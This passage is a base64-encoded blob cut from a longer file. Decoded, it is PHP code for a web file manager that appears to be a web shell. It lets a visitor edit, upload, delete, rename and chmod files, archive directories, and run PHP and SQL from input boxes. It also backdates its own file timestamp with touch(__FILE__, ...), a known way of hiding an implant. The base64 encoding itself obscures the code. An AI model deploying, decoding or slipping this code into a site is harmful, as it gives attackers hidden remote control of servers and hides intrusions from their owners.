nKTsNCgkJaWYgKCRfR0VUWydlZGl0J109PWJhc2VuYW1lKF9fRklMRV9fKSkgew0KCQkJdG91Y2goX19GSUxFX18sMTQxNTExNjM3MSk7DQoJCX0gZWxzZSB7DQoJCQlpZiAoIWVtcHR5KCRmbV9jb25maWdbJ3Jlc3RvcmVfdGltZSddKSkgdG91Y2goJGZuLCRmaWxlbXRpbWUpOw0KCQl9DQoJfQ0KICAgICRvbGRjb250ZW50ID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRwYXRoIC4gJF9SRVFVRVNUWydlZGl0J10pOw0KICAgICRlZGl0bGluayA9ICR1cmxfaW5jIC4gJyZlZGl0PScgLiAkX1JFUVVFU1RbJ2VkaXQnXSAuICcmcGF0aD0nIC4gJHBhdGg7DQogICAgJGJhY2tsaW5rID0gJHVybF9pbmMgLiAnJnBhdGg9JyAuICRwYXRoOw0KPz4NCjx0YWJsZSBib3JkZXI9JzAnIGNlbGxzcGFjaW5nPScwJyBjZWxscGFkZGluZz0nMScgd2lkdGg9IjEwMCUiPg0KPHRyPg0KICAgIDx0aD48Pz1fXygnRmlsZSBtYW5hZ2VyJykuJyAtICcuX18oJ0VkaXQnKS4nIC0gJy4kcGF0aC4kX1JFUVVFU1RbJ2VkaXQnXT8+PC90aD4NCjwvdHI+DQo8dHI+DQogICAgPHRkIGNsYXNzPSJyb3cxIj4NCiAgICAgICAgPD89JG1zZz8+DQoJPC90ZD4NCjwvdHI+DQo8dHI+DQogICAgPHRkIGNsYXNzPSJyb3cxIj4NCiAgICAgICAgPD89Zm1faG9tZSgpPz4gPGEgaHJlZj0iPD89JGJhY2tsaW5rPz4iPjw/PV9fKCdCYWNrJyk/PjwvYT4NCgk8L3RkPg0KPC90cj4NCjx0cj4NCiAgICA8dGQgY2xhc3M9InJvdzEiIGFsaWduPSJjZW50ZXIiPg0KICAgICAgICA8Zm9ybSBuYW1lPSJmb3JtMSIgbWV0aG9kPSJwb3N0IiBhY3Rpb249Ijw/PSRlZGl0bGluaz8+Ij4NCiAgICAgICAgICAgIDx0ZXh0YXJlYSBuYW1lPSJuZXdjb250ZW50IiBpZD0ibmV3Y29udGVudCIgY29scz0iNDUiIHJvd3M9IjE1IiBzdHlsZT0id2lkdGg6OTklIiBzcGVsbGNoZWNrPSJmYWxzZSI+PD89aHRtbHNwZWNpYWxjaGFycygkb2xkY29udGVudCk/PjwvdGV4dGFyZWE+DQogICAgICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJzYXZlIiB2YWx1ZT0iPD89X18oJ1N1Ym1pdCcpPz4iPg0KICAgICAgICAgICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0iY2FuY2VsIiB2YWx1ZT0iPD89X18oJ0NhbmNlbCcpPz4iPg0KICAgICAgICA8L2Zvcm0+DQogICAgPC90ZD4NCjwvdHI+DQo8L3RhYmxlPg0KPD9waHANCmVjaG8gJGF1dGhbJ3NjcmlwdCddOw0KfSBlbHNlaWYoIWVtcHR5KCRfUkVRVUVTVFsncmlnaHRzJ10pKXsNCglpZighZW1wdHkoJF9SRVFVRVNUWydzYXZlJ10pKSB7DQoJICAgIGlmKGZtX2NobW9kKCRwYXRoIC4gJF9SRVFVRVNUWydyaWdodHMnXSwgZm1fY29udmVydF9yaWdodHMoJF9SRVFVRVNUWydyaWdodHNfdmFsJ10pLCBAJF9SRVFVRVNUWydyZWN1cnNpdmVseSddKSkNCgkJJG1zZyAuPSAoX18oJ0ZpbGUgdXBkYXRlZCcpKTsgDQoJCWVsc2UgJG1zZyAuPSAoX18oJ0Vycm9yIG9jY3VycmVkJykpOw0KCX0NCgljbGVhcnN0YXRjYWNoZSgpOw0KICAgICRvbGRyaWdodHMgPSBmbV9yaWdodHNfc3RyaW5nKCRwYXRoIC4gJF9SRVFVRVNUWydyaWdodHMnXSwgdHJ1ZSk7DQogICAgJGxpbmsgPSAkdXJsX2luYyAuICcmcmlnaHRzPScgLiAkX1JFUVVFU1RbJ3JpZ2h0cyddIC4gJyZwYXRoPScgLiAkcGF0aDsNCiAgICAkYmFja2xpbmsgPSAkdXJsX2luYyAuICcmcGF0aD0nIC4gJHBhdGg7DQo/Pg0KPHRhYmxlIGNsYXNzPSJ3aG9sZSI+DQo8dHI+DQogICAgPHRoPjw/PV9fKCdGaWxlIG1hbmFnZXInKS4nIC0gJy4kcGF0aD8+PC90aD4NCjwvdHI+DQo8dHI+DQogICAgPHRkIGNsYXNzPSJyb3cxIj4NCiAgICAgICAgPD89JG1zZz8+DQoJPC90ZD4NCjwvdHI+DQo8dHI+DQogICAgPHRkIGNsYXNzPSJyb3cxIj4NCiAgICAgICAgPGEgaHJlZj0iPD89JGJhY2tsaW5rPz4iPjw/PV9fKCdCYWNrJyk/PjwvYT4NCgk8L3RkPg0KPC90cj4NCjx0cj4NCiAgICA8dGQgY2xhc3M9InJvdzEiIGFsaWduPSJjZW50ZXIiPg0KICAgICAgICA8Zm9ybSBuYW1lPSJmb3JtMSIgbWV0aG9kPSJwb3N0IiBhY3Rpb249Ijw/PSRsaW5rPz4iPg0KICAgICAgICAgICA8Pz1fXygnUmlnaHRzJykuJyAtICcuJF9SRVFVRVNUWydyaWdodHMnXT8+IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJyaWdodHNfdmFsIiB2YWx1ZT0iPD89JG9sZHJpZ2h0cz8+Ij4NCiAgICAgICAgPD9waHAgaWYgKGlzX2RpcigkcGF0aC4kX1JFUVVFU1RbJ3JpZ2h0cyddKSkgeyA/Pg0KICAgICAgICAgICAgPGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJyZWN1cnNpdmVseSIgdmFsdWU9IjEiPiA8Pz1fXygnUmVjdXJzaXZlbHknKT8+PGJyLz4NCiAgICAgICAgPD9waHAgfSA/Pg0KICAgICAgICAgICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0ic2F2ZSIgdmFsdWU9Ijw/PV9fKCdTdWJtaXQnKT8+Ij4NCiAgICAgICAgPC9mb3JtPg0KICAgIDwvdGQ+DQo8L3RyPg0KPC90YWJsZT4NCjw/cGhwDQp9IGVsc2VpZiAoIWVtcHR5KCRfUkVRVUVTVFsncmVuYW1lJ10pJiYkX1JFUVVFU1RbJ3JlbmFtZSddPD4nLicpIHsNCglpZighZW1wdHkoJF9SRVFVRVNUWydzYXZlJ10pKSB7DQoJICAgIHJlbmFtZSgkcGF0aCAuICRfUkVRVUVTVFsncmVuYW1lJ10sICRwYXRoIC4gJF9SRVFVRVNUWyduZXduYW1lJ10pOw0KCQkkbXNnIC49IChfXygnRmlsZSB1cGRhdGVkJykpOw0KCQkkX1JFUVVFU1RbJ3JlbmFtZSddID0gJF9SRVFVRVNUWyduZXduYW1lJ107DQoJfQ0KCWNsZWFyc3RhdGNhY2hlKCk7DQogICAgJGxpbmsgPSAkdXJsX2luYyAuICcmcmVuYW1lPScgLiAkX1JFUVVFU1RbJ3JlbmFtZSddIC4gJyZwYXRoPScgLiAkcGF0aDsNCiAgICAkYmFja2xpbmsgPSAkdXJsX2luYyAuICcmcGF0aD0nIC4gJHBhdGg7DQoNCj8+DQo8dGFibGUgY2xhc3M9Indob2xlIj4NCjx0cj4NCiAgICA8dGg+PD89X18oJ0ZpbGUgbWFuYWdlcicpLicgLSAnLiRwYXRoPz48L3RoPg0KPC90cj4NCjx0cj4NCiAgICA8dGQgY2xhc3M9InJvdzEiPg0KICAgICAgICA8Pz0kbXNnPz4NCgk8L3RkPg0KPC90cj4NCjx0cj4NCiAgICA8dGQgY2xhc3M9InJvdzEiPg0KICAgICAgICA8YSBocmVmPSI8Pz0kYmFja2xpbms/PiI+PD89X18oJ0JhY2snKT8+PC9hPg0KCTwvdGQ+DQo8L3RyPg0KPHRyPg0KICAgIDx0ZCBjbGFzcz0icm93MSIgYWxpZ249ImNlbnRlciI+DQogICAgICAgIDxmb3JtIG5hbWU9ImZvcm0xIiBtZXRob2Q9InBvc3QiIGFjdGlvbj0iPD89JGxpbms/PiI+DQogICAgICAgICAgICA8Pz1fXygnUmVuYW1lJyk/PjogPGlucHV0IHR5cGU9InRleHQiIG5hbWU9Im5ld25hbWUiIHZhbHVlPSI8Pz0kX1JFUVVFU1RbJ3JlbmFtZSddPz4iPjxici8+DQogICAgICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJzYXZlIiB2YWx1ZT0iPD89X18oJ1N1Ym1pdCcpPz4iPg0KICAgICAgICA8L2Zvcm0+DQogICAgPC90ZD4NCjwvdHI+DQo8L3RhYmxlPg0KPD9waHANCn0gZWxzZSB7DQovL0xldCdzIHJvY2shDQogICAgJG1zZyA9ICcnOw0KICAgIGlmKCFlbXB0eSgkX0ZJTEVTWyd1cGxvYWQnXSkmJiFlbXB0eSgkZm1fY29uZmlnWyd1cGxvYWRfZmlsZSddKSkgew0KICAgICAgICBpZighZW1wdHkoJF9GSUxFU1sndXBsb2FkJ11bJ25hbWUnXSkpew0KICAgICAgICAgICAgJF9GSUxFU1sndXBsb2FkJ11bJ25hbWUnXSA9IHN0cl9yZXBsYWNlKCclJywgJycsICRfRklMRVNbJ3VwbG9hZCddWyduYW1lJ10pOw0KICAgICAgICAgICAgaWYoIW1vdmVfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTWyd1cGxvYWQnXVsndG1wX25hbWUnXSwgJHBhdGggLiAkX0ZJTEVTWyd1cGxvYWQnXVsnbmFtZSddKSl7DQogICAgICAgICAgICAgICAgJG1zZyAuPSBfXygnRXJyb3Igb2NjdXJyZWQnKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQoJCQkJJG1zZyAuPSBfXygnRmlsZXMgdXBsb2FkZWQnKS4nOiAnLiRfRklMRVNbJ3VwbG9hZCddWyduYW1lJ107DQoJCQl9DQogICAgICAgIH0NCiAgICB9IGVsc2VpZighZW1wdHkoJF9SRVFVRVNUWydkZWxldGUnXSkmJiRfUkVRVUVTVFsnZGVsZXRlJ108PicuJykgew0KICAgICAgICBpZighZm1fZGVsX2ZpbGVzKCgkcGF0aCAuICRfUkVRVUVTVFsnZGVsZXRlJ10pLCB0cnVlKSkgew0KICAgICAgICAgICAgJG1zZyAuPSBfXygnRXJyb3Igb2NjdXJyZWQnKTsNCiAgICAgICAgfSBlbHNlIHsNCgkJCSRtc2cgLj0gX18oJ0RlbGV0ZWQnKS4nICcuJF9SRVFVRVNUWydkZWxldGUnXTsNCgkJfQ0KCX0gZWxzZWlmKCFlbXB0eSgkX1JFUVVFU1RbJ21rZGlyJ10pJiYhZW1wdHkoJGZtX2NvbmZpZ1snbWFrZV9kaXJlY3RvcnknXSkpIHsNCiAgICAgICAgaWYoIUBta2RpcigkcGF0aCAuICRfUkVRVUVTVFsnZGlybmFtZSddLDA3NzcpKSB7DQogICAgICAgICAgICAkbXNnIC49IF9fKCdFcnJvciBvY2N1cnJlZCcpOw0KICAgICAgICB9IGVsc2Ugew0KCQkJJG1zZyAuPSBfXygnQ3JlYXRlZCcpLicgJy4kX1JFUVVFU1RbJ2Rpcm5hbWUnXTsNCgkJfQ0KICAgIH0gZWxzZWlmKCFlbXB0eSgkX1JFUVVFU1RbJ21rZmlsZSddKSYmIWVtcHR5KCRmbV9jb25maWdbJ25ld19maWxlJ10pKSB7DQogICAgICAgIGlmKCEkZnA9QGZvcGVuKCRwYXRoIC4gJF9SRVFVRVNUWydmaWxlbmFtZSddLCJ3IikpIHsNCiAgICAgICAgICAgICRtc2cgLj0gX18oJ0Vycm9yIG9jY3VycmVkJyk7DQogICAgICAgIH0gZWxzZSB7DQoJCQlmY2xvc2UoJGZwKTsNCgkJCSRtc2cgLj0gX18oJ0NyZWF0ZWQnKS4nICcuJF9SRVFVRVNUWydmaWxlbmFtZSddOw0KCQl9DQogICAgfSBlbHNlaWYgKGlzc2V0KCRfR0VUWyd6aXAnXSkpIHsNCgkJJHNvdXJjZSA9IGJhc2U2NF9kZWNvZGUoJF9HRVRbJ3ppcCddKTsNCgkJJGRlc3RpbmF0aW9uID0gYmFzZW5hbWUoJHNvdXJjZSkuJy56aXAnOw0KCQlzZXRfdGltZV9saW1pdCgwKTsNCgkJJHBoYXIgPSBuZXcgUGhhckRhdGEoJGRlc3RpbmF0aW9uKTsNCgkJJHBoYXItPmJ1aWxkRnJvbURpcmVjdG9yeSgkc291cmNlKTsNCgkJaWYgKGlzX2ZpbGUoJGRlc3RpbmF0aW9uKSkNCgkJJG1zZyAuPSBfXygnVGFzaycpLicgIicuX18oJ0FyY2hpdmluZycpLicgJy4kZGVzdGluYXRpb24uJyIgJy5fXygnZG9uZScpLg0KCQknLiZuYnNwOycuZm1fbGluaygnZG93bmxvYWQnLCRwYXRoLiRkZXN0aW5hdGlvbixfXygnRG93bmxvYWQnKSxfXygnRG93bmxvYWQnKS4nICcuICRkZXN0aW5hdGlvbikNCgkJLicmbmJzcDs8YSBocmVmPSInLiR1cmxfaW5jLicmZGVsZXRlPScuJGRlc3RpbmF0aW9uLicmcGF0aD0nIC4gJHBhdGguJyIgdGl0bGU9IicuX18oJ0RlbGV0ZScpLicgJy4gJGRlc3RpbmF0aW9uLiciID4nLl9fKCdEZWxldGUnKSAuICc8L2E+JzsNCgkJZWxzZSAkbXNnIC49IF9fKCdFcnJvciBvY2N1cnJlZCcpLic6ICcuX18oJ25vIGZpbGVzJyk7DQoJfSBlbHNlaWYgKGlzc2V0KCRfR0VUWydneiddKSkgew0KCQkkc291cmNlID0gYmFzZTY0X2RlY29kZSgkX0dFVFsnZ3onXSk7DQoJCSRhcmNoaXZlID0gJHNvdXJjZS4nLnRhcic7DQoJCSRkZXN0aW5hdGlvbiA9IGJhc2VuYW1lKCRzb3VyY2UpLicudGFyJzsNCgkJaWYgKGlzX2ZpbGUoJGFyY2hpdmUpKSB1bmxpbmsoJGFyY2hpdmUpOw0KCQlpZiAoaXNfZmlsZSgkYXJjaGl2ZS4nLmd6JykpIHVubGluaygkYXJjaGl2ZS4nLmd6Jyk7DQoJCWNsZWFyc3RhdGNhY2hlKCk7DQoJCXNldF90aW1lX2xpbWl0KDApOw0KCQkvL2RpZSgpOw0KCQkkcGhhciA9IG5ldyBQaGFyRGF0YSgkZGVzdGluYXRpb24pOw0KCQkkcGhhci0+YnVpbGRGcm9tRGlyZWN0b3J5KCRzb3VyY2UpOw0KCQkkcGhhci0+Y29tcHJlc3MoUGhhcjo6R1osJy50YXIuZ3onKTsNCgkJdW5zZXQoJHBoYXIpOw0KCQlpZiAoaXNfZmlsZSgkYXJjaGl2ZSkpIHsNCgkJCWlmIChpc19maWxlKCRhcmNoaXZlLicuZ3onKSkgew0KCQkJCXVubGluaygkYXJjaGl2ZSk7IA0KCQkJCSRkZXN0aW5hdGlvbiAuPSAnLmd6JzsNCgkJCX0NCg0KCQkJJG1zZyAuPSBfXygnVGFzaycpLicgIicuX18oJ0FyY2hpdmluZycpLicgJy4kZGVzdGluYXRpb24uJyIgJy5fXygnZG9uZScpLg0KCQkJJy4mbmJzcDsnLmZtX2xpbmsoJ2Rvd25sb2FkJywkcGF0aC4kZGVzdGluYXRpb24sX18oJ0Rvd25sb2FkJyksX18oJ0Rvd25sb2FkJykuJyAnLiAkZGVzdGluYXRpb24pDQoJCQkuJyZuYnNwOzxhIGhyZWY9IicuJHVybF9pbmMuJyZkZWxldGU9Jy4kZGVzdGluYXRpb24uJyZwYXRoPScgLiAkcGF0aC4nIiB0aXRsZT0iJy5fXygnRGVsZXRlJykuJyAnLiRkZXN0aW5hdGlvbi4nIiA+Jy5fXygnRGVsZXRlJykuJzwvYT4nOw0KCQl9IGVsc2UgJG1zZyAuPSBfXygnRXJyb3Igb2NjdXJyZWQnKS4nOiAnLl9fKCdubyBmaWxlcycpOw0KCX0gZWxzZWlmIChpc3NldCgkX0dFVFsnZGVjb21wcmVzcyddKSkgew0KCQkvLyAkc291cmNlID0gYmFzZTY0X2RlY29kZSgkX0dFVFsnZGVjb21wcmVzcyddKTsNCgkJLy8gJGRlc3RpbmF0aW9uID0gYmFzZW5hbWUoJHNvdXJjZSk7DQoJCS8vICRleHQgPSBlbmQoZXhwbG9kZSgiLiIsICRkZXN0aW5hdGlvbikpOw0KCQkvLyBpZiAoJGV4dD09J3ppcCcgT1IgJGV4dD09J2d6Jykgew0KCQkJLy8gJHBoYXIgPSBuZXcgUGhhckRhdGEoJHNvdXJjZSk7DQoJCQkvLyAkcGhhci0+ZGVjb21wcmVzcygpOw0KCQkJLy8gJGJhc2VfZmlsZSA9IHN0cl9yZXBsYWNlKCcuJy4kZXh0LCcnLCRkZXN0aW5hdGlvbik7DQoJCQkvLyAkZXh0ID0gZW5kKGV4cGxvZGUoIi4iLCAkYmFzZV9maWxlKSk7DQoJCQkvLyBpZiAoJGV4dD09J3Rhcicpew0KCQkJCS8vICRwaGFyID0gbmV3IFBoYXJEYXRhKCRiYXNlX2ZpbGUpOw0KCQkJCS8vICRwaGFyLT5leHRyYWN0VG8oZGlyKCRzb3VyY2UpKTsNCgkJCS8vIH0NCgkJLy8gfSANCgkJLy8gJG1zZyAuPSBfXygnVGFzaycpLicgIicuX18oJ0RlY29tcHJlc3MnKS4nICcuJHNvdXJjZS4nIiAnLl9fKCdkb25lJyk7DQoJfSBlbHNlaWYgKGlzc2V0KCRfR0VUWydnemZpbGUnXSkpIHsNCgkJJHNvdXJjZSA9IGJhc2U2NF9kZWNvZGUoJF9HRVRbJ2d6ZmlsZSddKTsNCgkJJGFyY2hpdmUgPSAkc291cmNlLicudGFyJzsNCgkJJGRlc3RpbmF0aW9uID0gYmFzZW5hbWUoJHNvdXJjZSkuJy50YXInOw0KCQlpZiAoaXNfZmlsZSgkYXJjaGl2ZSkpIHVubGluaygkYXJjaGl2ZSk7DQoJCWlmIChpc19maWxlKCRhcmNoaXZlLicuZ3onKSkgdW5saW5rKCRhcmNoaXZlLicuZ3onKTsNCgkJc2V0X3RpbWVfbGltaXQoMCk7DQoJCS8vZWNobyAkZGVzdGluYXRpb247DQoJCSRleHRfYXJyID0gZXhwbG9kZSgnLicsYmFzZW5hbWUoJHNvdXJjZSkpOw0KCQlpZiAoaXNzZXQoJGV4dF9hcnJbMV0pKSB7DQoJCQl1bnNldCgkZXh0X2FyclswXSk7DQoJCQkkZXh0PWltcGxvZGUoJy4nLCRleHRfYXJyKTsNCgkJfSANCgkJJHBoYXIgPSBuZXcgUGhhckRhdGEoJGRlc3RpbmF0aW9uKTsNCgkJJHBoYXItPmFkZEZpbGUoJHNvdXJjZSk7DQoJCSRwaGFyLT5jb21wcmVzcyhQaGFyOjpHWiwkZXh0LicudGFyLmd6Jyk7DQoJCXVuc2V0KCRwaGFyKTsNCgkJaWYgKGlzX2ZpbGUoJGFyY2hpdmUpKSB7DQoJCQlpZiAoaXNfZmlsZSgkYXJjaGl2ZS4nLmd6JykpIHsNCgkJCQl1bmxpbmsoJGFyY2hpdmUpOyANCgkJCQkkZGVzdGluYXRpb24gLj0gJy5neic7DQoJCQl9DQoJCQkkbXNnIC49IF9fKCdUYXNrJykuJyAiJy5fXygnQXJjaGl2aW5nJykuJyAnLiRkZXN0aW5hdGlvbi4nIiAnLl9fKCdkb25lJykuDQoJCQknLiZuYnNwOycuZm1fbGluaygnZG93bmxvYWQnLCRwYXRoLiRkZXN0aW5hdGlvbixfXygnRG93bmxvYWQnKSxfXygnRG93bmxvYWQnKS4nICcuICRkZXN0aW5hdGlvbikNCgkJCS4nJm5ic3A7PGEgaHJlZj0iJy4kdXJsX2luYy4nJmRlbGV0ZT0nLiRkZXN0aW5hdGlvbi4nJnBhdGg9JyAuICRwYXRoLiciIHRpdGxlPSInLl9fKCdEZWxldGUnKS4nICcuJGRlc3RpbmF0aW9uLiciID4nLl9fKCdEZWxldGUnKS4nPC9hPic7DQoJCX0gZWxzZSAkbXNnIC49IF9fKCdFcnJvciBvY2N1cnJlZCcpLic6ICcuX18oJ25vIGZpbGVzJyk7DQoJfQ0KPz4NCjx0YWJsZSBjbGFzcz0id2hvbGUiIGlkPSJoZWFkZXJfdGFibGUiID4NCjx0cj4NCiAgICA8dGggY29sc3Bhbj0iMiI+PD89X18oJ0ZpbGUgbWFuYWdlcicpPz48Pz0oIWVtcHR5KCRwYXRoKT8nIC0gJy4kcGF0aDonJyk/PjwvdGg+DQo8L3RyPg0KPD9waHAgaWYoIWVtcHR5KCRtc2cpKXsgPz4NCjx0cj4NCgk8dGQgY29sc3Bhbj0iMiIgY2xhc3M9InJvdzIiPjw/PSRtc2c/PjwvdGQ+DQo8L3RyPg0KPD9waHAgfSA/Pg0KPHRyPg0KICAgIDx0ZCBjbGFzcz0icm93MiI+DQoJCTx0YWJsZT4NCgkJCTx0cj4NCgkJCTx0ZD4NCgkJCQk8Pz1mbV9ob21lKCk/Pg0KCQkJPC90ZD4NCgkJCTx0ZD4NCgkJCTw/cGhwIGlmKCFlbXB0eSgkZm1fY29uZmlnWydtYWtlX2RpcmVjdG9yeSddKSkgeyA/Pg0KCQkJCTxmb3JtIG1ldGhvZD0icG9zdCIgYWN0aW9uPSI8Pz0kdXJsX2luYz8+Ij4NCgkJCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iPD89JHBhdGg/PiIgLz4NCgkJCQk8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZGlybmFtZSIgc2l6ZT0iMTUiPg0KCQkJCTxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9Im1rZGlyIiB2YWx1ZT0iPD89X18oJ01ha2UgZGlyZWN0b3J5Jyk/PiI+DQoJCQkJPC9mb3JtPg0KCQkJPD9waHAgfSA/Pg0KCQkJPC90ZD4NCgkJCTx0ZD4NCgkJCTw/cGhwIGlmKCFlbXB0eSgkZm1fY29uZmlnWyduZXdfZmlsZSddKSkgeyA/Pg0KCQkJCTxmb3JtIG1ldGhvZD0icG9zdCIgYWN0aW9uPSI8Pz0kdXJsX2luYz8+Ij4NCgkJCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iPD89JHBhdGg/PiIgLz4NCgkJCQk8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZmlsZW5hbWUiIHNpemU9IjE1Ij4NCgkJCQk8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJta2ZpbGUiIHZhbHVlPSI8Pz1fXygnTmV3IGZpbGUnKT8+Ij4NCgkJCQk8L2Zvcm0+DQoJCQk8P3BocCB9ID8+DQoJCQk8L3RkPg0KCQkJPHRkPg0KCQkJPD89Zm1fcnVuX2lucHV0KCdwaHAnKT8+DQoJCQk8L3RkPg0KCQkJPHRkPg0KCQkJPD89Zm1fcnVuX2lucHV0KCdzcWwnKT8+DQoJCQk8L3RkPg0KCQkJPC90cj4NCgkJPC90YWJsZT4NCiAgICA8L3RkPg0KICAgIDx0ZCBjbGFzcz0icm93MyI+DQoJCTx0YWJsZT4NCgkJPHRyPg0KCQk8dGQ+DQoJCTw/cGhwIGlmICghZW1wdHkoJGZtX2NvbmZpZ1sndXBsb2FkX2ZpbGUnXSkpIHsgPz4NCgkJCTxmb3JtIG5hbWU9ImZvcm0xIiBtZXRob2Q9InBvc3QiIGFjdGlvbj0iPD89JHVybF9pbmM/PiIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSI+DQoJCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iPD89JHBhdGg/PiIgLz4NCgkJCTxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJ1cGxvYWQiIGlkPSJ1cGxvYWRfaGlkZGVuIiBzdHlsZT0icG9zaXRpb246IGFic29sdXRlOyBkaXNwbGF5OiBibG9jazsgb3ZlcmZsb3c6IGhpZGRlbjsgd2lkdGg6IDA7IGhlaWdodDogMDsgYm9yZGVyOiAwOyBwYWRkaW5nOiAwOyIgb25jaGFuZ2U9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd1cGxvYWRfdmlzaWJsZScpLnZhbHVlID0gdGhpcy52YWx1ZTsiIC8+DQoJCQk8aW5wdXQgdHlwZT0idGV4dCIgcmVhZG9ubHk9IjEiIGlkPSJ1cGxvYWRfdmlzaWJsZSIgcGxhY2Vob2xkZXI9Ijw/PV9fKCdTZWxlY3QgdGhlIGZpbGUnKT8+IiBzdHlsZT0iY3Vyc29yOiBwb2ludGVyOyIgb25jbGljaz0iZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3VwbG9hZF9oaWRkZW4nKS5jbGljaygpOyIgLz4NCgkJCTxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9InRlc3QiIHZhbHVlPSI8Pz1fXygnVXBsb2FkJyk/PiIgLz4NCgkJCTwvZm9ybT4NCgkJPD9waHAgfSA/Pg0KCQk8L3RkPg0KCQk8dGQ+DQoJCTw/cGhwIGlmICgkYXV0aFsnYXV0aG9yaXplJ10pIHsgPz4NCgkJCTxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPiZuYnNwOyZuYnNwOyZuYnNwOw0KCQkJPGlucHV0IG5hbWU9InF1aXQiIHR5cGU9ImhpZGRlbiIgdmFsdWU9IjEiPg0KCQkJPD89X18oJ0hlbGxvJyk/PiwgPD89JGF1dGhbJ2xvZ2luJ10/Pg0KCQkJPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9Ijw/PV9fKCdRdWl0Jyk/PiI+DQoJCQk8L2Zvcm0+DQoJCTw/cGhwIH0gPz4NCgkJPC90ZD4NCgkJPHRkPg0KCQk8Pz1mbV9sYW5nX2Zvcm0oJGxhbmd1YWdlKT8+DQoJCTwvdGQ+DQoJCTx0cj4NCgkJPC90YWJsZT4NCiAgICA8L3RkPg0KPC90cj4NCjwvdGFibGU+DQo8dGFibGUgY2xhc3M9ImFsbCIgYm9yZGVyPScwJyBjZWxsc3BhY2luZz0nMScgY2VsbHBhZGRpbmc9JzEnIGlkPSJmbV90YWJsZSIgd2lkdGg9IjEwMCUiPg0KPHRoZWFkPg0KPHRyPiANCiAgICA8dGggc3R5bGU9IndoaXRlLXNwYWNlOm5vd3JhcCI+IDw/PV9fKCdGaWxlbmFtZScpPz4gPC90aD4NCiAgICA8dGggc3R5bGU9IndoaXRlLXNwYWNlOm5vd3JhcCI+IDw/PV9fKCdTaXplJyk/PiA8L3RoPg0KICAgIDx0aCBzdHlsZT0id2hpdGUtc3BhY2U6bm93cmFwIj4gPD89X18oJ0RhdGUnKT8+IDwvdGg+DQogICAgPHRoIHN0eWxlPSJ3aGl0ZS1zcGFjZTpub3dyYXAiPiA8Pz1fXygnUmlnaHRzJyk/PiA8L3RoPg0KICAgIDx0aCBjb2xzcGFuPSI0IiBzdHlsZT0id2hpdGUtc3BhY2U6bm93cmFwIj4gPD89X18oJ01hbmFnZScpPz4gPC90aD4NCjwvdHI+DQo8L3RoZWFkPg0KPHRib2R5Pg0KPD9waHANCiRlbGVtZW50cyA9IGZtX3NjYW5fZGlyKCRwYXRoLCAnJywgJ2FsbCcsIHRydWUpOw0KJGRpcnMgPSBhcnJheSgpOw0KJGZpbGVzID0gYXJyYXkoKTsNCmZvcmVhY2ggKCRlbGVtZW50cyBhcyAkZmlsZSl7DQogICAgaWYoQGlzX2RpcigkcGF0aCAuICRmaWxlKSl7DQogICAgICAgICRkaXJzW10gPSAkZmlsZTsNCiAgICB9IGVsc2Ugew0KICAgICAgICAkZmlsZXNbXSA9ICRmaWxlOw0KICAgIH0NCn0NCm5hdHNvcnQoJGRpcnMpOyBuYXRzb3J0KCRmaWxlcyk7DQokZWxlbWVudHMgPSBhcnJheV9tZXJnZSgkZGlycywgJGZpbGVzKTsNCg0KZm9yZWFjaCAoJGVsZW1lbnRzIGFzICRmaWxlKXsNCiAgICAkZmlsZW5hbWUgPSAkcGF0aCAuICRmaWxlOw0KICAgICRmaWxlZGF0YSA9IEBzdGF0KCRmaWxlbmFtZSk7DQogICAgaWYoQGlzX2RpcigkZmlsZW5hbWUpKXsNCgkJJGZpbGVkYXRhWzddID0gJyc7DQoJCWlmICghZW1wdHkoJGZtX2NvbmZpZ1snc2hvd19kaXJfc2l6ZSddKSYmIWZtX3Jvb3QoJGZpbGUpKSAkZmlsZWRhdGFbN10gPSBmbV9kaXJfc2l6ZSgkZmlsZW5hbWUpOw0KICAgICAgICAkbGluayA9ICc8YSBocmVmPSInLiR1cmxfaW5jLicmcGF0aD0nLiRwYXRoLiRmaWxlLiciIHRpdGxlPSInLl9fKCdTaG93JykuJyAnLiRmaWxlLiciPjxzcGFuIGNsYXNzPSJmb2xkZXIiPiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOzwvc3Bhbj4gJy4kZmlsZS4nPC9hPic7DQogICAgICAgICRsb2FkbGluaz0gKGZtX3Jvb3QoJGZpbGUpfHwkcGhhcl9tYXliZSkgPyAnJyA6IGZtX2xpbmsoJ3ppcCcsJGZpbGVuYW1lLF9fKCdDb21wcmVzcycpLicmbmJzcDt6aXAnLF9fKCdBcmNoaXZpbmcnKS4nICcuICRmaWxlKTsNCgkJJGFybGluayAgPSAoZm1fcm9vdCgkZmlsZSl8fCRwaGFyX21heWJlKSA/ICcnIDogZm1fbGluaygnZ3onLCRmaWxlbmFtZSxfXygnQ29tcHJlc3MnKS4nJm5ic3A7LnRhci5neicsX18oJ0FyY2hpdmluZycpLicgJy4kZmlsZSk7DQogICAgICAgICRzdHlsZSA9ICdyb3cyJzsNCgkJIGlmICghZm1fcm9vdCgkZmlsZSkpICRhbGVydCA9ICdvbkNsaWNrPSJpZihjb25maXJtKFwnJyAuIF9fKC